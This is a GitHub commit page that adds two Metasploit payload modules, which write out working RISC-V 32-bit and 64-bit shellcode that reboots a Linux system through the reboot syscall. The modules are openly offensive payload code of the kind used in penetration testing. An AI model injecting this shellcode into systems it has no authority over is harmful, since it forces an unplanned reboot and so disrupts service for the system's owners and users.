Skip to content

Commit 92cf931

Browse files
committed
Add Linux Reboot 32-bit/64-bit RISC-V LE payloads
1 parent f244d07 commit 92cf931

File tree

2 files changed

+88
-0
lines changed

2 files changed

+88
-0
lines changed
Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
module MetasploitModule
7+
CachedSize = 32
8+
9+
include Msf::Payload::Single
10+
include Msf::Payload::Linux
11+
12+
def initialize(info = {})
13+
super(
14+
merge_info(
15+
info,
16+
'Name' => 'Linux Reboot',
17+
'Description' => %q{
18+
A very small shellcode for rebooting the system using
19+
the reboot syscall. This payload is sometimes helpful
20+
for testing purposes.
21+
},
22+
'Author' => 'bcoles',
23+
'License' => MSF_LICENSE,
24+
'Platform' => 'linux',
25+
'Arch' => ARCH_RISCV32LE
26+
)
27+
)
28+
end
29+
30+
def generate(_opts = {})
31+
shellcode =
32+
[0xfee1e537].pack('V*') + # lui a0,0xfee1e
33+
[0xead50513].pack('V*') + # addi a0,a0,-339
34+
[0x281225b7].pack('V*') + # lui a1,0x2812
35+
[0x96958593].pack('V*') + # addi a1,a1,-1687
36+
[0x01234637].pack('V*') + # lui a2,0x1234
37+
[0x56760613].pack('V*') + # addi a2,a2,1383
38+
[0x08e00893].pack('V*') + # li a7,142
39+
[0x00000073].pack('V*') # ecall
40+
41+
super.to_s + shellcode
42+
end
43+
end
Lines changed: 45 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,45 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
module MetasploitModule
7+
CachedSize = 40
8+
9+
include Msf::Payload::Single
10+
include Msf::Payload::Linux
11+
12+
def initialize(info = {})
13+
super(
14+
merge_info(
15+
info,
16+
'Name' => 'Linux Reboot',
17+
'Description' => %q{
18+
A very small shellcode for rebooting the system using
19+
the reboot syscall. This payload is sometimes helpful
20+
for testing purposes.
21+
},
22+
'Author' => 'bcoles',
23+
'License' => MSF_LICENSE,
24+
'Platform' => 'linux',
25+
'Arch' => ARCH_RISCV64LE
26+
)
27+
)
28+
end
29+
30+
def generate(_opts = {})
31+
shellcode =
32+
[0x0007f537].pack('V*') + # lui a0,0x7f
33+
[0x70f5051b].pack('V*') + # addiw a0,a0,1807
34+
[0x00d51513].pack('V*') + # slli a0,a0,0xd
35+
[0xead50513].pack('V*') + # addi a0,a0,-339
36+
[0x281225b7].pack('V*') + # lui a1,0x28122
37+
[0x9695859b].pack('V*') + # addiw a1,a1,-1687
38+
[0x01234637].pack('V*') + # lui a2,0x1234
39+
[0x5676061b].pack('V*') + # addiw a2,a2,1383
40+
[0x08e00893].pack('V*') + # li a7,142
41+
[0x00000073].pack('V*') # ecall
42+
43+
super.to_s + shellcode
44+
end
45+
end

0 commit comments

Comments
 (0)